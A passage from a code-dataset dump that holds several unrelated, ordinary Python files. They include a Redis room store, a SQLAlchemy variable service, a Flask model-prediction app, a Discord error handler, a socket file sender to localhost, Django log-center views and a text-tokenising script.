OutArray\n # This works by inverting the original dictionary, which is fucking stupid, but it works\n elif EncodeOrDecode==\"Decode\":\n InvertDictionary = {}\n for x,y in Dictionary.items():\n InvertDictionary[y] = x\n for x in InArray:\n OutArray.append(InvertDictionary[int(x)])\n\n # Returning the OutArray \n return OutArray\n\n# Generate Random Sheet\ndef CreateSheet ():\n # Open an old dictionary\n with open(FileName, \"r\") as MyFile:\n Dictionary = json.load(MyFile)\n for y in Dictionary:\n # Replace dictionary entry with a random number between one and a billion (milliard)\n Dictionary[y] = random.randint(0,1000000000) \n\n # Preparing the date string so the file is unique\n x = str(datetime.datetime.now()).replace(\" \",\"\")\n x= x.replace(\".\",\"\")\n x= x.replace(\"-\",\"\")\n x= x.replace(\":\",\"\") \n\n # Dumping the dictionary to file\n with open(\"GeneratedSheet\"+x[:13]+\".json\", \"w\") as json_file:\n json.dump(Dictionary, json_file)\n \n# The actual start of the program iGuess\nStartHere()\n\n","sub_path":"Projects/Python @ wurk/Cryptography.py","file_name":"Cryptography.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497859405","text":"import json\nimport time\n\nfrom alignment.redis import REDIS_POOL_KEY\n\n\nclass RoomStore:\n DEFAULT_SIZE = 128\n\n def __init__(self, app, room_prefix):\n self.app = app\n self.room_prefix = room_prefix\n\n @property\n def redis(self):\n return self.app[REDIS_POOL_KEY]\n\n def _get_room_meta_key(self, room):\n return self.room_prefix + ':meta:' + room\n\n def _get_position_key(self, room):\n return self.room_prefix + ':position:' + room\n\n def _get_position_sort_key(self, room):\n return self.room_prefix + ':position:sort:' + room\n\n async def create_room(self, name, image, size=None):\n if size is None:\n size = self.DEFAULT_SIZE\n await self.redis.hmset_dict(\n self._get_room_meta_key(name), image=image, size=size)\n\n @staticmethod\n def time():\n return time.clock_gettime(time.CLOCK_MONOTONIC_RAW)\n\n async def set_position(self, name, user, position):\n id_ = user['id']\n encoded = json.dumps({'user': user, 'position': position})\n await self.redis.hset(self._get_position_key(name), id_, encoded)\n await self.redis.zadd(\n self._get_position_sort_key(name), self.time(), id_)\n\n async def get_room(self, name):\n meta_key = self._get_room_meta_key(name)\n exists = await self.redis.exists(meta_key)\n if not exists:\n return None\n\n image, size = await self.redis.hmget(\n meta_key,\n 'image',\n 'size',\n encoding='utf-8',\n )\n\n return {\n 'image': image,\n 'size': int(size),\n 'positions': list([p async for p in self.get_positions(name)]),\n }\n\n async def get_positions(self, name):\n users = await self.redis.hgetall(self._get_position_key(name), encoding='utf-8')\n keys = await self.redis.zrangebyscore(self._get_position_sort_key(name), encoding='utf-8')\n for key in keys:\n if key in users:\n yield json.loads(users[key])\n","sub_path":"alignment/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"87980708","text":"from datetime import datetime\nfrom typing import List\n\nfrom databases import Database\nfrom databases.backends.postgres import Record\nfrom sqlalchemy import desc, func, select, and_\n\nfrom models.variables import variables_table\nfrom .base_service import BaseService\nfrom schemas.variable_schemas import VariableCreateSchema, VariableUpdateSchema\n\n\nclass VariableService(BaseService):\n \"\"\"Service for working with variable entities\n\n \"\"\"\n\n def __init__(self, database: Database) -> None:\n \"\"\"Construct a new :class: `VariableService`\n\n :param `database` - an instance of `databases.Database` \n for asynchronous work with database\n\n \"\"\"\n\n self.database = database\n\n async def create(\n self, \n data: VariableCreateSchema\n ) -> Record:\n \"\"\"Creates a new variable according to the passed data\n\n :param `data` - an instance of `VariableCreateSchema`\n which provide data to create an variable\n\n :return an instance of `databases.backends.postgres.Record`\n which provide variable data\n\n \"\"\"\n\n async with self.database.transaction():\n query = (variables_table.insert()\n .values(\n name=data.name,\n value=data.value,\n env_id=data.env_id,\n created_at=datetime.now()\n )\n .returning(\n variables_table.c.id,\n variables_table.c.name,\n variables_table.c.value,\n variables_table.c.created_at,\n variables_table.c.updated_at,\n variables_table.c.deleted_at,\n variables_table.c.is_deleted\n )\n )\n\n return await self.database.fetch_one(query)\n\n async def update(\n self,\n id: int,\n data: VariableUpdateSchema\n ) -> Record:\n \"\"\"Updates an variable according to the passed data\n\n :param `id` - identifier of variable\n\n :param `data` - an instance of `VariableUpdateSchema`\n which provide data to update an variable\n\n :return an instance of `databases.backends.postgres.Record`\n which provide variable data\n\n \"\"\"\n\n async with self.database.transaction():\n query = (\n variables_table.update()\n .where(variables_table.c.id == id)\n .values(\n name=data.name,\n value=data.value,\n updated_at=datetime.now()\n )\n .returning(\n variables_table.c.id,\n variables_table.c.name,\n variables_table.c.value,\n variables_table.c.created_at,\n variables_table.c.updated_at,\n variables_table.c.deleted_at,\n variables_table.c.is_deleted\n )\n )\n \n return await self.database.fetch_one(query)\n\n async def delete(self, id: int):\n \"\"\"Deletes an variable according passed variable identifier\n\n :param `id` - identifier of variable\n\n \"\"\"\n\n async with self.database.transaction():\n query = (\n variables_table.update()\n .where(variables_table.c.id == id)\n .values(\n is_deleted=True,\n deleted_at=datetime.now()\n )\n )\n await self.database.execute(query)\n\n async def get_one(self, id: int) -> Record:\n \"\"\"Selects variable by its id from the database\n\n :param `id` - variable identifier\n\n :return an instance of `databases.backends.postgres.Record`\n which provide variable data\n\n \"\"\"\n\n query = (\n select(\n [\n variables_table.c.id,\n variables_table.c.name,\n variables_table.c.value,\n variables_table.c.created_at,\n variables_table.c.updated_at,\n variables_table.c.deleted_at,\n variables_table.c.is_deleted\n ]\n )\n .select_from(variables_table)\n .where(variables_table.c.id == id)\n )\n\n return await self.database.fetch_one(query)\n\n async def get_list(\n self,\n env_id: int,\n page: int = None,\n per_page: int = None\n ) -> List[Record]:\n \"\"\"Selects all variables for environment from the database\n\n :param `env_id` - environment identifier\n\n :optional param `page` - page number\n\n :optional param `per_page` - number of entities on one page\n\n :return list of `databases.backends.postgres.Record`\n which provide variable data\n\n \"\"\"\n\n query = (\n select(\n [\n variables_table.c.id,\n variables_table.c.name,\n variables_table.c.value,\n variables_table.c.created_at,\n variables_table.c.updated_at,\n variables_table.c.deleted_at,\n variables_table.c.is_deleted\n ]\n )\n .select_from(variables_table)\n .where(\n and_(\n variables_table.c.env_id == env_id,\n variables_table.c.is_deleted == False\n )\n )\n .order_by(desc(variables_table.c.created_at))\n )\n\n if page and per_page:\n offset = (page - 1) * per_page\n query = query.limit(per_page).offset(offset)\n\n return await self.database.fetch_all(query)\n\n async def get_count(self, env_id: int) -> int:\n \"\"\"Count variables in the database\n\n :param `env_id` - environment identifier\n\n :return count of not deleted variables\n\n \"\"\"\n\n query = (\n select([func.count()])\n .select_from(variables_table)\n .where(\n and_(\n variables_table.c.env_id == env_id,\n variables_table.c.is_deleted == False\n )\n )\n )\n \n return await self.database.fetch_val(query)\n\n async def delete_by_env_id(self, env_id):\n \"\"\"Deletes all variables by environmetn identifier\n\n :param `env_id` - identifier of environment\n\n \"\"\"\n\n async with self.database.transaction():\n query = (\n variables_table.update()\n .where(variables_table.c.env_id == env_id)\n .values(\n is_deleted=True,\n deleted_at=datetime.now()\n )\n )\n await self.database.execute(query)\n","sub_path":"services/variable_service.py","file_name":"variable_service.py","file_ext":"py","file_size_in_byte":6886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"71362464","text":"import pickle\n\n\ndef unpickle(batch_name):\n file_name = 'F:\\\\Documents\\\\Projects_IDEA\\\\cifar-10\\\\' + batch_name\n with open(file_name, 'rb') as fo:\n cifar_dict = pickle.load(fo, encoding='bytes')\n return cifar_dict\n\n\ndef test():\n batch_name = 'data_batch_1'\n batch_1 = unpickle(batch_name)\n print(batch_1.keys())\n print(batch_1[b'data'].shape)\n print(batch_1[b'labels'])\n\n\nif __name__ == '__main__':\n test()\n","sub_path":"util/cifar_10.py","file_name":"cifar_10.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"229588434","text":"# Importing essential libraries\r\nfrom flask import Flask, render_template, request\r\n#from flask import jsonify \r\nimport pickle\r\nimport numpy as np\r\n\r\n# Load the Random Forest CLassifier model\r\nfilename = 'regressor.pkl'\r\nregressor = pickle.load(open(filename, 'rb'))\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef home():\r\n\treturn render_template('index.html')\r\n\r\n@app.route('/predict', methods=['POST'])\r\ndef predict():\r\n if request.method == 'POST':\r\n PM10 = int(request.form['PM10'])\r\n Benzene = int(request.form['Benzene'])\r\n NO = int(request.form['NO'])\r\n NO2 = int(request.form['NO2'])\r\n NOx = int(request.form['NOx'])\r\n data = np.array([[PM10, Benzene, NO, NO2, NOx]])\r\n my_prediction =regressor.predict(data)\r\n # return render_template('index.html', prediction_text='Employee Salary should be $ {}'.format(my_prediction)\r\n return render_template('result.html', prediction=my_prediction)\r\n # return my_prediction()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313597205","text":"import discord\nfrom discord.ext import commands\nfrom core.classes import Cog_Extension\n\nclass wrong(Cog_Extension):\n\n @commands.Cog.listener()\n async def on_command_error(self, ctx, error):\n if isinstance(error, commands.errors.MissingRequiredArgument):\n await ctx.send(\"Missing required argument 遺失參數!!\")\n elif isinstance(error, commands.errors.CommandNotFound):\n await ctx.send(\"Commands not found 沒這指令!!\")\n else:\n await ctx.send(\"something goes wrong 發生錯誤!!!\")\n\ndef setup(bot):\n bot.add_cog(wrong(bot))\n","sub_path":"onmsg/worng.py","file_name":"worng.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86076602","text":"import random\n\ns = [0, 1]\ndef my_shuffle(lst):\n\tc = random.choice(s)\n\tif c:\n\t\treturn lst\n\telse:\n\t\treturn lst[::-1]\n\ncolors = [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"]\nN = 25 # dimension\nlimit=N-1\nshuffle_lst=[1, 2, 3, 4]\n\nflag = 250\nwhile(flag):\n\tlst=[]\n\n\tc_row_1 = random.choice(range(25))\n\tc_row_2 = random.choice(range(c_row_1, 25))\n\tc_col_1 = random.choice(range(25))\n\tc_col_2 = random.choice(range(c_col_1, 25))\n\n\trow_N = c_row_2 - c_row_1 + 1\n\tcol_N = c_col_2 - c_col_1 + 1\n\n\tif c_row_1 >= row_N:\n\t\t# Condition for top\n\t\tp_row_1 = random.choice(range(c_row_1 - row_N +1))\n\t\tp_col_1 = random.choice(range(N - col_N +1))\n\t\tp_row_2 = p_row_1 + row_N -1 \n\t\tp_col_2 = p_col_1 + col_N -1\n\t\tlst.append([p_row_1, p_col_1, p_row_2, p_col_2])\n\n\tif (limit - c_col_2) >= col_N:\n\t\t# Condition for right\n\t\tp_row_1 = random.choice(range(N - row_N +1))\n\t\tp_col_1 = random.choice(range(c_col_2 +1, N - col_N +1))\n\t\tp_row_2 = p_row_1 + row_N -1\n\t\tp_col_2 = p_col_1 + col_N -1\n\t\tlst.append([p_row_1, p_col_1, p_row_2, p_col_2])\n\n\tif (limit - c_row_2) >= row_N:\n\t\t# Condition for bottom\n\t\tp_row_1 = random.choice(range(c_row_2 +1, N - row_N +1))\n\t\tp_col_1 = random.choice(range(N - col_N +1))\n\t\tp_row_2 = p_row_1 + row_N -1\n\t\tp_col_2 = p_col_1 + col_N -1\n\t\tlst.append([p_row_1, p_col_1, p_row_2, p_col_2])\n\n\tif c_col_1 >= col_N:\n\t\t# Condition for left\n\t\tp_row_1 = random.choice(range(N - row_N +1))\n\t\tp_col_1 = random.choice(range(c_col_1 - col_N +1))\n\t\tp_row_2 = p_row_1 + row_N -1\n\t\tp_col_2 = p_col_1 + col_N -1\n\t\tlst.append([p_row_1, p_col_1, p_row_2, p_col_2])\n\t\n\tfor i in range(len(lst)):\n\t\twith open(f\"cases/case{500-flag}.txt\", \"w\") as case:\n\t\t\tlst_image=[]\n\t\t\tdimension = N\n\t\t\tfor j in range(N):\n\t\t\t\tlst_image.append(random.choices(colors, k=N))\n\t\t\n\t\t\tfor j in range(dimension):\n\t\t\t\tcase.write(\" \".join(lst_image[j]))\n\t\t\t\tcase.write(\"\\n\")\t\t\n\n\t\t\tcase.write(\"P\\n\")\n\t\t\tshuffle = random.choice(shuffle_lst)\n\t\t\t\n\n\t\t\trow_s = my_shuffle([c_row_1, c_row_2])\n\t\t\tcol_s = my_shuffle([c_col_1, c_col_2])\n\n\t\t\tcase.write(f\"{row_s[0]} {col_s[0]} {row_s[1]} {col_s[1]}\\n\")\n\n\t\t\t# lst.append([p_row_1, p_col_1, p_row_2, p_col_2])\n\n\t\t\tp_row_s = my_shuffle([lst[i][0], lst[i][2]])\n\t\t\tp_col_s = my_shuffle([lst[i][1], lst[i][3]])\n\t\t\tcase.write(f\"{p_row_s[0]} {p_col_s[0]} {p_row_s[1]} {p_col_s[1]}\\n\")\n\t\t\n\t\tflag -= 1\n\t\tif flag == 0:\n\t\t\tflag = 0\n\t\t\tbreak\n\t\t \n\t\t\n\n","sub_path":"Creator/Creator_1.3/case_gen_paste.py","file_name":"case_gen_paste.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"365789125","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom .models import Orders\nfrom django import forms\n\n\nclass Orders(forms.ModelForm):\n class Meta:\n model = Orders\n exclude = ['payment', 'final_status_order', 'read_unread','read_unread','final_status_order','payment','created','updated']\n\n\n error_css_class = 'error'\n required_css_class = 'required'\n\n\n def __init__(self, *args, **kwargs):\n super(Orders, self).__init__(*args, **kwargs)\n # adding css classes to widgets without define the fields:\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control form-control-sm form_order'\n self.fields['name'].widget.attrs['id'] = 'formGroupExampleInput'\n self.fields['phone_number'].widget.attrs['placeholder'] = '+7xxxxxxxxxx *обязательно с +7'\n self.fields['location'].widget.attrs['placeholder'] = 'Можно не указывать, менеджер уточнит!'\n self.fields['order_option'].widget.attrs['class'] = 'custom-select '\n self.fields['order_day'].widget.attrs['class'] = 'custom-select'\n self.fields['order_time'].widget.attrs['class'] = 'custom-select'\n #self.fields['order_problem_name'].widget.attrs['class'] = 'custom-select'\n\n def as_div(self):\n \n return self._html_output(\n #normal_row = u'%(label)s %(field)s %(help_text)s %(errors)s',\n normal_row = u'
%(label)s%(field)s %(help_text)s
',\n error_row = u'
%s
',\n row_ender = '',\n help_text_html = u'
%s
',\n errors_on_separate_row = False)\n","sub_path":"tv_mas/smartfon/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635756599","text":"#发送端\nimport os\nimport json\nimport struct\nimport socket\nsk = socket.socket()\nsk.connect(('127.0.0.1',8000))\nbuffer = 1024\n#buffer = 4096\n\nhead = {\n\t'filepath':r'./',\n\t'filename':r'1.tar.gz',\n\t'filesize':None\n}\n\nfile_path = os.path.join(head['filepath'],head['filename'])\nfilesize = os.path.getsize(file_path)\nhead['filesize'] = filesize\njson_head = json.dumps(head) #字段转化为字符串\nbytes_head = json_head.encode('utf-8')\n#计算head长度\nhead_len = len(bytes_head) #报头的长度\npack_len = struct.pack('i',head_len)\nsk.send(pack_len) #先发报文的长度\nsk.send(bytes_head) #再发bytes类型的报文\nwith open(file_path,'rb')as f:\n\twhile filesize:\n\t\tprint(filesize)\n\t\tif filesize >= buffer:\n\t\t\tcontent = f.read(buffer) #每次读出来的内容\n\t\t\tsk.send(content)\n\t\t\tfilesize -= buffer\n\t\telse:\n\t\t\tcontent = f.read(filesize)\n\t\t\tsk.send(content)\n\t\t\tbreak\nsk.close()\n","sub_path":"OOP/socket/nianbao/文件上传/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"584234091","text":"import numpy as np\n\n\ndef act(x):\n return 0 if x < 0.5 else 1\n\ndef go(vect):\n x = np.array(vect)\n w11 = [0.3, 0.3, 0]\n w12 = [0.4, -0.5, 1]\n weight1 = np.array([w11, w12]) # матрица 2х3\n weight2 = np.array([-1, 1]) # вектор 1х2\n\n sum_hidden = np.dot(weight1, x) # вычисляем сумму на нейронах срытого слоя\n print(\"Суммы на нейронах сткрытого слоя: \" + str(sum_hidden))\n\n out_hidden = np.array([act(x) for x in sum_hidden]) # считаем функцию активации на каждой сумме\n print(\"Значения функции активации на выходе нейронов скрытого слоя\" + str(out_hidden))\n\n sum_end = np.dot(weight2, out_hidden)\n y = act(sum_end)\n\n if y == 0:\n print(\"Облом\")\n elif y == 1:\n print(\"Фак е\")\n else:\n print(\"Перепроверь прогу, чувак\")\n\n\ninit_vect = [1, 1, 0]\ngo(init_vect)","sub_path":"ex1_simple_network.py","file_name":"ex1_simple_network.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"448564151","text":"import json\nfrom pymongo import MongoClient\nimport re\nclient = MongoClient(\"graph.resnal.ml\", 27017)\ndb = client.data\nstudent = db.students\nmarks = db.marks\n\n# Helper Methods\n\n\ndef getGrade(USN, batch, sem):\n selected_student = student.find(\n {\"usn\": USN, \"batch\": batch, \"sem\": sem})[0]\n for i in marks.find({\"sid\": str(selected_student[\"_id\"])}):\n total = 100\n if(i[\"subjectCode\"]==\"17CSP85\" or i[\"subjectCode\"]==\"15CSP85\"):\n total=200\n grade = 0\n if int(i[\"totalMarks\"]) >= 90/100*total:\n grade = 10\n elif 80/100*total <= int(i[\"totalMarks\"]) <= 89/100*total:\n grade = 9\n elif 70/100*total <= int(i[\"totalMarks\"]) <= 79/100*total:\n grade = 8\n elif 60/100*total <= int(i[\"totalMarks\"]) <= 69/100*total:\n grade = 7\n elif 50/100*total <= int(i[\"totalMarks\"]) <= 59/100*total:\n grade = 6\n elif 45/100*total <= int(i[\"totalMarks\"]) <= 49/100*total:\n grade = 5\n elif 40/100*total <= int(i[\"totalMarks\"]) <= 44/100*total:\n grade = 4\n elif int(i[\"totalMarks\"]) < 40/100*total:\n grade = 0\n marks.update_one({\"_id\": i[\"_id\"]}, {\"$set\": {\"grade\": grade}})\n\n\ndef totalFCD(USN, batch, sem):\n selected_student = student.find(\n {\"usn\": USN, \"batch\": batch, \"sem\": sem})[0]\n total = 0\n total_marks = 0\n FCD = \"\"\n for j in marks.find({\"sid\": str(selected_student[\"_id\"])}):\n if j[\"fcd\"] == \"F\":\n student.update_one(\n {\"_id\": selected_student[\"_id\"]}, {\"$set\": {\"totalFCD\": \"F\"}}\n )\n return\n total += int(j[\"totalMarks\"])\n if j['subjectCode']==\"17CSP85\" or j[\"subjectCode\"]==\"15CSP85\":\n total_marks += 200\n else:\n total_marks += 100\n if total >= 70/100*total_marks:\n FCD = \"FCD\"\n elif total >= 60/100*total_marks:\n FCD = \"FC\"\n elif total >= 50/100*total_marks:\n FCD = \"SC\"\n else:\n FCD = \"P\"\n student.update_one({\"_id\": selected_student[\"_id\"]}, {\n \"$set\": {\"totalFCD\": FCD}})\n\n\ndef FCD(USN, batch, sem):\n selected_student = student.find(\n {\"usn\": USN, \"batch\": batch, \"sem\": sem})[0]\n for i in marks.find({\"sid\": str(selected_student[\"_id\"])}):\n total = 100\n if(i[\"subjectCode\"]==\"17CSP85\" or i[\"subjectCode\"]==\"15CSP85\"):\n total=200\n if i[\"result\"] == \"F\" or i[\"result\"] == \"A\" or i[\"result\"] == \"X\":\n FCD = \"F\"\n else:\n if 70/100*total <= int(i[\"totalMarks\"]) <= 100/100*total:\n FCD = \"FCD\"\n elif 60/100*total <= int(i[\"totalMarks\"]) <= 69/100*total:\n FCD = \"FC\"\n elif 50/100*total <= int(i[\"totalMarks\"]) <= 59/100*total:\n FCD = \"SC\"\n elif 40/100*total <= int(i[\"totalMarks\"]) <= 49/100*total:\n FCD = \"P\"\n else:\n FCD = \"F\"\n marks.update_one({\"_id\": i[\"_id\"]}, {\"$set\": {\"fcd\": FCD}})\n\n\ndef GPA(USN, batch, sem):\n selected_student = student.find(\n {\"usn\": USN, \"batch\": batch, \"sem\": sem})[0]\n totalgrade = 0\n totalCredit = 0\n gpa = 0\n roundoff = 0\n for j in marks.find({\"sid\": str(selected_student[\"_id\"])}):\n totalgrade += j[\"grade\"] * getCredit(j[\"subjectCode\"])\n totalCredit += 10 * getCredit(j[\"subjectCode\"])\n gpa = (totalgrade / totalCredit) * 10\n roundoff = round(gpa, 2)\n student.update_one({\"_id\": selected_student[\"_id\"]}, {\n \"$set\": {\"gpa\": roundoff}})\n\n\ndef getCredit(subcode):\n if subcode == \"17CSP85\" or subcode == \"15CSP85\":\n return 6\n if subcode == \"17CSS86\" or subcode == \"15CSS86\":\n return 1\n if subcode == \"17CS84\" or subcode == \"15CS84\":\n return 2\n elif re.search(\"^..[A-Z][A-Z][A-Z]?(L|P)[0-9][0-9]$\", subcode) is not None: # Lab\n return 2\n elif re.search(\"^18[A-Z][A-Z][A-Z]?[0-9][0-9]$\", subcode) is not None: # Subject\n return 3\n elif (\n re.search(\"^(15|16|17)[A-Z][A-Z][A-Z]?[0-9][0-9]$\",\n subcode) is not None\n ): # Subject\n return 4\n elif (\n re.search(\"^..[A-Z][A-Z][A-Z]?[0-9][0-9][0-9]$\", subcode) is not None\n ): # Elective\n return 3\n elif re.search(\"^..MATDIP[0-9][0-9]$\", subcode) is not None: # MATDIP\n return 0\n\ndef calculateTotal(USN, batch, sem):\n print(USN)\n selected_student = student.find(\n {\"usn\": USN, \"batch\": batch, \"sem\": sem})[0]\n total = 0\n for j in marks.find({\"sid\": str(selected_student[\"_id\"])}):\n total += int(j[\"totalMarks\"])\n student.update_one({\"_id\": selected_student[\"_id\"]}, {\n \"$set\": {\"totalmarks\": total}})\n\ndata = []\nwith open('./result.json') as f:\n data = json.load(f)\n\nif __name__ == \"__main__\":\n for s in data:\n USN = s[\"USN\"]\n print(\"USN:-\" + USN)\n stu = {\n \"usn\": USN,\n \"section\": s[\"Section\"],\n \"batch\": str(int(s[\"Batch\"])),\n \"sem\": int(s[\"Sem\"]),\n }\n try:\n stu_id = student.insert_one(stu).inserted_id\n except:\n print(\"Student Data Already Exists\")\n continue\n res = s[\"results\"]\n student.update({\"_id\": stu_id}, {\"$set\": {\"name\": s[\"name\"]}})\n print(s[\"name\"])\n for r in res:\n mark = {\n \"sid\": str(stu_id),\n \"subjectCode\": r[\"subjectCode\"],\n \"subjectName\": r[\"subjectName\"],\n \"internalMarks\": r[\"ia\"],\n \"externalMarks\": r[\"ea\"],\n \"totalMarks\": r[\"total\"],\n \"result\": r[\"result\"],\n }\n marks.insert_one(mark)\n getGrade(USN, str(int(s[\"Batch\"])), s[\"Sem\"])\n FCD(USN, str(int(s[\"Batch\"])), s[\"Sem\"])\n totalFCD(USN, str(int(s[\"Batch\"])), s[\"Sem\"])\n GPA(USN, str(int(s[\"Batch\"])), s[\"Sem\"])\n calculateTotal(USN, str(int(s[\"Batch\"])), s[\"Sem\"] )\n print(\"Done\")\n","sub_path":"dump.py","file_name":"dump.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335605078","text":"#! /usr/bin/env python\n\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.template import loader\n\nfrom portals.permissions import permissions_check, superuser_required\nfrom portals.models import JadeUser\n\nfrom cmdb.models import Asset, HostGroup\nfrom cmdb.forms import AssetForm\n\nfrom .models import LoggerCenterAgent, LoggerCenter\nfrom .forms import LoggerCenterAgentForm, LoggerCenterForm\n\nfrom audit.views import audit_required\n\nimport json\nimport time\nimport os\n\nCURRENT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n@login_required\n@permissions_check()\ndef index(request):\n temp_name = \"logcenter/logcenter-header.html\"\n assets = Asset.objects.all()\n for asset in assets:\n logcenter = LoggerCenter.objects.get_or_create(host=asset)\n if not logcenter[1]:\n logcenter[0].save()\n loggers = LoggerCenter.objects.all()\n return render(request, 'logcenter/index.html', locals())\n\n@login_required\n@permissions_check()\ndef agent_status(request, logcenter):\n pass\n\n@login_required\n@permissions_check()\ndef agent_index(request):\n temp_name = \"logcenter/logcenter-header.html\"\n agents = LoggerCenterAgent.objects.all()\n return render(request, 'logcenter/agent_list.html', locals())\n\n@login_required\n@permissions_check()\ndef agent_add(request):\n temp_name = \"logcenter/logcenter-header.html\"\n if request.POST:\n agent_form = LoggerCenterAgentForm(request.POST, request.FILES)\n if agent_form.is_valid():\n agent_form.save()\n return render(request, 'logcenter/agent_add.html', locals())\n else:\n agent_form = LoggerCenterAgentForm()\n return render(request, 'logcenter/agent_add.html', locals())\n\n@login_required\n@permissions_check()\ndef agent_del(request):\n pass\n\n@login_required\n@permissions_check()\ndef agent_edit(request, ids):\n temp_name = \"logcenter/logcenter-header.html\"\n if not ids:\n obj = None\n\n obj = LoggerCenterAgent.objects.filter(id=ids)\n if len(obj) == 1:\n obj = obj[0]\n else:\n obj = None\n\n if request.POST:\n af = LoggerCenterAgentForm(request.POST, instance=obj)\n if af.is_valid():\n af.save()\n status = 1\n else:\n status = 2\n return render(request, 'logcenter/agent_edit.html', locals())\n else:\n af = LoggerCenterAgentForm(instance=obj)\n return render(request, 'logcenter/agent_edit.html', locals())\n\n@login_required\n@permissions_check()\n@audit_required()\ndef logcenter_edit(request, ids):\n temp_name = \"logcenter/logcenter-header.html\"\n if not ids:\n obj = None\n\n obj = LoggerCenter.objects.filter(id=ids)\n if len(obj) == 1:\n obj = obj[0]\n else:\n obj = None\n\n if request.POST:\n log_form = LoggerCenterForm(request.POST, instance=obj, ids=ids)\n if log_form.is_valid():\n log_form.save()\n status = 1\n else:\n status = 2\n return render(request, 'logcenter/logcenter_edit.html', locals())\n else:\n log_form = LoggerCenterForm(instance=obj, ids=ids)\n asset_id = ids\n return render(request, 'logcenter/logcenter_edit.html', locals())\n\n@login_required\n@permissions_check()\ndef logcenter_config_initialize(ids):\n pass\n\n@login_required\n@permissions_check()\ndef logcenter_detail(request, ids):\n logcenter = LoggerCenter.objects.get(id=ids)\n return render(request, 'logcenter/logcenter_detail.html', locals())\n\n@login_required\n@permissions_check()\ndef logcenter_cancel(request, ids):\n pass\n\n@login_required\n@permissions_check()\ndef logcenter_deploy(request, ids):\n pass\n\n@login_required\n@permissions_check()\ndef logcenter_jump(request):\n return HttpResponseRedirect(\"http://10.211.55.11:9000/\")\n\n\n@login_required\n@permissions_check()\n@audit_required()\ndef logcenter_add(request):\n pass \n\n\n","sub_path":"logcenter/logcenter.py","file_name":"logcenter.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"190933967","text":"import nltk\nimport string\nimport pandas as pd\nimport numpy as np\nfrom collections import Counter\nfrom sklearn import preprocessing as pf\n\ndata = pd.read_csv('hpv.csv')\nfile = open('Dep.txt')\ndep = file.read()\ndep = dep.split('\\n')\ndep = [x.lower() for x in dep]\n#print(dep)\n#quit()\n'''\ngetTop=100\ngetTopN=20\n\ndef get_tokens(file):\n with open(file, 'r') as shakes:\n text = shakes.read()\n lowers = text.lower()\n #remove the punctuation using the character deletion step of translate\n no_punctuation = lowers.translate(None, string.punctuation)\n tokens = nltk.word_tokenize(no_punctuation)\n return tokens\n\ndef get_tokens2(file):\n with open(file, 'r') as shakes:\n text = shakes.read()\n lowers = text.lower()\n #remove the punctuation using the character deletion step of translate\n no_punctuation = lowers.translate(None, string.punctuation)\n tokens = nltk.word_tokenize(no_punctuation)\n tokens2=[]\n for i in range(len(tokens)-1):\n \ttokens2.append(tokens[i]+' '+tokens[i+1]) \t\n return tokens2\n\ndef get_tokens3(file):\n with open(file, 'r') as shakes:\n text = shakes.read()\n lowers = text.lower()\n #remove the punctuation using the character deletion step of translate\n no_punctuation = lowers.translate(None, string.punctuation)\n tokens = nltk.word_tokenize(no_punctuation)\n tokens3=[]\n for i in range(len(tokens)-2):\n \ttokens3.append(tokens[i]+' '+tokens[i+1]+' '+tokens[i+2]) \t\n return tokens3\n\ndef line_get_tokens(str):\n return str.split()\n\ndef line_get_tokens2(str):\n tokens=str.split()\n tokens2=[]\n for i in range(len(tokens)-1):\n \ttokens2.append(tokens[i]+' '+tokens[i+1]) \t\n return tokens2\n\ndef line_get_tokens3(str):\n\ttokens=str.split()\n\ttokens3=[]\n\tfor i in range(len(tokens)-2):\n\t\ttokens3.append(tokens[i]+' '+tokens[i+1]+' '+tokens[i+2]) \t\n\treturn tokens3\n\ntokens2 = get_tokens2('txt.txt')\ntokens = get_tokens('txt.txt')\ntokens3 = get_tokens3('txt.txt')\ncount = Counter(tokens)\nhashTag1 = count.most_common(getTop)\ncount2 = Counter(tokens2)\nhashTag2 = count2.most_common(getTop)\ncount3 = Counter(tokens3)\nhashTag3 = count3.most_common(getTop)\n\ntokensN = get_tokens('txt2.txt')\ntokensN2 = get_tokens('txt2.txt')\ntokensN3 = get_tokens('txt2.txt')\ncountN = Counter(tokensN)\nhashTagN1 = countN.most_common(getTopN)\ncountN2 = Counter(tokensN2)\nhashTagN2 = 